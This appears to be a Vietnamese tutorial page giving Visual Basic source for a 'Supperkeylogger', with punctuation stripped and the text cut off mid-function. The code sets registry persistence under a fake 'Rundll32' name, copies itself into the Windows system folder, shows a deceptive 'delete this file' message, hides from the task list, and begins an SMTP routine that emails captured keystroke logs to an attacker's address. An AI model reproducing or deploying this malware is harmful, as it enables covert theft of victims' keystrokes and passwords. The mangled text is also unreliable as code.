tailieunhanh - Chương Trình Supperkeylogger (VB)

Chương Trình Supperkeylogger (VB): Mô tả chương trình: Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control 1. Form chính có tên là : Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”) - Mã nguồn của Form: | Chương Trình Supperkeylogger VB Mô tả chương trình Bạn thêm vào trong chương trình 1 Form 2 Module và 1 User Control 1. Form chính có tên là Giao diện form chứa đựng 3 Textbox Textl và send adresa - Text Whitebronch@ 1 SMTP SMTP 2 Timer Timer1 và Timer2 1 Label Label1 - Dia chi mail ban muon nhan log - Mã nguồn của Form Option Explicit Private Declare Function RegOpenKeyExA Lib ByVal hKey As Long ByVal lpSubKey As String ByVal ulOptions As Long ByVal samDesired As Long phkResult As Long As Long Private Declare Function RegSetValueExA Lib ByVal hKey As Long ByVal lpValueName As String ByVal Reserved As Long ByVal dwType As Long ByVal lpValue As String ByVal cbData As Long As Long Private Declare Function RegCloseKey Lib ByVal hKey As Long As Long Const REG As Long 1 Const HKEY_LOCAL_MACHINE As Long H80000002 Const STANDARD_RIGHTS_ALL h1f0000 Const KEY_CREATE_LINK H20 Const KEY_CREATE_SUB_KEY H4 Const KEY_ENUMERATE_SUB_KEYS H8 Const KEY_NOTIFY H10 Const KEY_QUERY_VALUE H1 Const KEY SET VALUE H2 Const SYNCHRONIZE H100000 Const KEY_ALL_ACCESS STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK And Not SYNCHRONIZE Function IntrareRegistru Dim a As Long RegOpenKeyExA HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion RunServices 0 KEY_ALL_ACCESS a RegSetValueExA a Rundll32 0 REG C Windows system 1 RegCloseKey a End Function Function IntrareSuportMagnetic Dim s As String path As String s .exe path WinDir SYSTEM If FisierulExista path False Then FileCopy s path MsgBox Please delete this file and re-download it End If End Function Private Sub Form_Load IntrareRegistru IntrareSuportMagnetic RemoveProgramFromList If Then Unload Me End If End Sub Public Function SendEMail adress As String With SMTP .Server .Port 25 .MailFrom keylogger@ .MailTo